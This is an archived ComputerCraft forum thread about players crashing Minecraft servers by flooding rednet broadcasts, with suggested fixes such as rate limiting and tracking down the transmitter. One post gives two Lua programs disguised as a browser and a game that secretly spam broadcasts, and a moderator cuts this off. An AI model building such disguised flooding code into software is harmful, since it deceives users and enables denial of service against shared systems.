This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
G3R4RD's profile picture

[1.33][SMP] Rednet DDoS

Started by G3R4RD, 07 May 2012 - 11:03 PM
G3R4RD #1
Posted 08 May 2012 - 01:03 AM
Hello World.

In a Server we have a next problem: people make a script which is spamming rednet broadcast. It looks not a problem, but it is.
ComputerCraft is crashing and Terminals/Turtles are crashing in the whole server.

Maybe there should be a time-out or something, because this is pretty annoying.

Thank's for reading,
Gerard.
libraryaddict #2
Posted 10 May 2012 - 08:35 AM
There is always going to be abuse.
This is just the next generation of spam.

Why not edit rednet and add a program to it.
If this message has been repeated 5times in 1 second. Then error("Please stop spamming rednet")
ComputerCraftFan11 #3
Posted 11 May 2012 - 03:44 AM
There is always going to be abuse.
This is just the next generation of spam.

Why not edit rednet and add a program to it.
If this message has been repeated 5times in 1 second. Then error("Please stop spamming rednet")

That will do the same thing: crash it.

You can try this:

while true do
   sleep(0) --Stops crashing
   --your code
end
BigSHinyToys #4
Posted 11 May 2012 - 04:13 AM
find the source and detonate it. It is broadcasting so you know its ID and how far from a terminal it is.

write a program on a turtle that turns rednet on for 1 sec then off again (so it don't crash). Make the turtle move and then check if it is closer or further away from the computer ID.if further away then move in the opsite direction X2 eventual the turtle should stumble near the transmitter and you can turn it off / destroy it.
G3R4RD #5
Posted 11 May 2012 - 08:12 PM
find the source and detonate it. It is broadcasting so you know its ID and how far from a terminal it is.

write a program on a turtle that turns rednet on for 1 sec then off again (so it don't crash). Make the turtle move and then check if it is closer or further away from the computer ID.if further away then move in the opsite direction X2 eventual the turtle should stumble near the transmitter and you can turn it off / destroy it.

And what if ComputerCraft is crashed, he can't create a new thread or the server is crashed? :)/>/>
cant_delete_account #6
Posted 12 May 2012 - 12:52 AM
It's possible if you edit the rom/apis/rednet and check if the person sends more than like 4 messages in 1-3 seconds then exit their program if they did.
ComputerCraftFan11 #7
Posted 12 May 2012 - 06:37 AM
It's possible if you edit the rom/apis/rednet and check if the person sends more than like 4 messages in 1-3 seconds then exit their program if they did.

Unless they put it in startup and reboot if it exits.
Teraminer #8
Posted 12 May 2012 - 12:48 PM
Just find the id and got to your servers programs and delete the program(s), or tell the owner to..
PixelToast #9
Posted 12 May 2012 - 03:14 PM
It's possible if you edit the rom/apis/rednet and check if the person sends more than like 4 messages in 1-3 seconds then exit their program if they did.

Unless they put it in startup and reboot if it exits.
sleep(1) in bios.lua
:P/>/>
ComputerCraftFan11 #10
Posted 12 May 2012 - 06:20 PM
Just find the id and got to your servers programs and delete the program(s), or tell the owner to..

Put it in a disk :D/>/>
It's possible if you edit the rom/apis/rednet and check if the person sends more than like 4 messages in 1-3 seconds then exit their program if they did.

Unless they put it in startup and reboot if it exits.
sleep(1) in bios.lua
:P/>/>
That would make the computers lag…. ALOT (especially for global Multiplayer games)
Teraminer #11
Posted 12 May 2012 - 08:07 PM
delete the disk.. :P/>/>
ComputerCraftFan11 #12
Posted 12 May 2012 - 08:09 PM
delete the disk.. :D/>/>

How would they know what disk it is? :P/>/>
ComputerCraftFan11 #13
Posted 12 May 2012 - 08:16 PM
People can also disguise the program, like this:

local x,y = term.getSize()
rednet.open("top")
title = "Rednet Explorer 2.0" --Add title = "name" to change the webpage's title!
local website = "home";
if fs.exists(".cache") then fs.delete(".cache") end
fs.makeDir(".cache")
local cPrint = function(text)
local x2,y2 = term.getCursorPos()
term.setCursorPos(math.ceil((x / 2) - (text:len() / 2)), y2)

print(text)
end
search = function(message)
while true do
  sleep(0)
  rednet.broadcast(message) --Search for that message
end
end
function createSite(websitename)
	 cPrint("Hosting " ..websitename.. "...n")
	 test = fs.open(websitename, "r")
	 fileContents = test:readAll()
	 test.close()
	 while true do
	  sleep(0)
	  id, message = rednet.receive()
	  if message == websitename then
	   print("[" ..os.time().."] [" ..id.. "] Pinged Website.")
	   rednet.send(id, fileContents)
	   print("[" ..os.time().."] [" ..id.. "] Received Data")
	  end
	 end
end
local Address = function()
text = "rdnt://"
term.setCursorPos(math.ceil((x / 2) - (text:len() / 2)), 2)
term.clearLine()

write("rdnt://")
website = read()
loadWebpage()
end
function done()
term.setCursorPos(1, y)
name = "F5 = Refresh"
write("Press CTRL to travel the web! :P/>/>")
term.setCursorPos(x - name:len(), y)
write(name)

while true do
  sleep(0) -- stop crashing
  e, k = os.pullEvent("key")
  if k == 63 then
   loadWebpage()
   break
  else
   Address()
   break
  end
end
end
loadWebpage = function()
term.clear()
term.setCursorPos(1,1)
cPrint(title)
cPrint("rdnt://" ..website.. "n")
if website == "home" then
  print("Welcome to RedNet explorer (2.0)! This requires you to have a wireless modem on your computer.")
  print("Host a website at:			    ")
  print("rdnt://newsite!		    ")
  print("   -ComputerCraftFan11    ")
elseif website == "newsite" then
  title = "Rednet Servers (2.0)"
  print("Are you sure you would like to make this PC a server?")
  cPrint("Y = Yes N = No")
  while true do
   e, k = os.pullEvent("char")
   if k == "y" or k == "n" then
    break
   end
  end
 
  if k == "y" then
   term.clear()
   term.setCursorPos(1,1)
   print("Welcome to the Rednet Servers. Please enter the website name: ")
   websitename = read()
   rednet.broadcast(websitename)
   i, me = rednet.receive(0.001)
   if me == nil then
    print("Thank you! This website will be running off of the file:n" ..websitename.. "n")
    write("Are you sure? (Y = Continue, V = Edit)")
    input = read()
    if input == "Y" or input == "y" then
	 if fs.exists(websitename) == false then
	  print("Please create " ..websitename.. " first!")
	  sleep(0.5)
	  shell.run("edit", websitename)
	 end
	 term.clear()
	 term.setCursorPos(1,1)
	 createSite(websitename)
    elseif input == "V" or input == "v" then
	 shell.run("edit", websitename)
	 term.clear()
	 term.setCursorPos(1,1)
	 createSite(websitename)
    end
   else
    print("I'm sorry, this domain name is taken.")
   end
  end
else
  title = "Rednet Explorer 2.0"
  rednet.broadcast(website)
  print("Connecting...")
  id, message = rednet.receive(0.1)
  if message == nil then
   print("Unable to load webpage.")
   search("Loading " ..website.. " failed.")
  else
   if fs.exists(".cache/" ..website) then fs.delete(".cache/" ..website) end
   webpage = fs.open(".cache/" ..website, "w")
   webpage.write(message)
   webpage.close()
   term.clear()
   term.setCursorPos(1,1)
   cPrint("Rednet Explorer 2.0")
   cPrint("rdnt://" ..website.. "n")
   shell.run(".cache/" ..website)
  end
end

done()
end
loadWebpage()
Activate it by typing anything in the address bar.

Or this:

local x1, y1 = term.getSize() --Returns the size of your terminal
local char = ">" --Stores your character direction
local currentX = 1 --Saves the current X of the cursor
local currentY = 1 --Saves the current Y of the cursor

function newObject(oX, oY, title)
if oX - currentX < x then
  term.setCursorPos(oX- currentX, oY- currentY)
  write(title)
  if oX- currentX == x/2 and oY- currentY == y/2 then
   if char == "v" then --up
	    currentY = currentY -1
   elseif char == "^" then --down
		 currentY = currentY +1
   elseif char == ">" then --left
		 currentX = currentX -1
   elseif char == "<" then --right
		  currentX = currentX +1
   end
 
   drawCursor()
  end
end
function world()
  --Put code for the world in here.
  --Ex)
  newObject(5,5, "O")
end
function drawCursor()
  term.clear() --Clears the screen
  world() --Draws the world
  term.setCursorPos(x1/2, y1/2)  --Draws a cursor at the current X/Y
  write(char)
end
while true do
  drawCursor()
  sleep(0)
  local e,key = os.pullEvent()
  if e == "key" then
   if key == 17 or key == 200 then --up
	 currentY = currentY -1
	 char = "^" --Change your direction to face up
	 rednet.broadcast("ServerConnected:UP")
   elseif key == 31 or key == 208 then --down
	 currentY = currentY +1
	 char = "v" --Change your direction to face down
	 rednet.broadcast("ServerConnected:DOWN")
   elseif key == 203 or key == 30 then --left
	 currentX = currentX -1
	 char = "<" --Change your direction to face left
	 rednet.broadcast("ServerConnected:LEFT")
    elseif key == 205 or key == 32 then --right
	 currentX = currentX +1
	 char = ">" --Change your direction to face right
	 rednet.broadcast("ServerConnected:RIGHT")
    end
end

rednet.broadcast("ServerConnected:ON")
end
It looks like a game, but it broadcasts in the background.
Cloudy #14
Posted 12 May 2012 - 11:49 PM
We don't need any more examples. We know about the bug, that should be enough.
Teraminer #15
Posted 15 May 2012 - 03:39 PM
You are right you can't tell which is the disk you want to delete… :P/>/>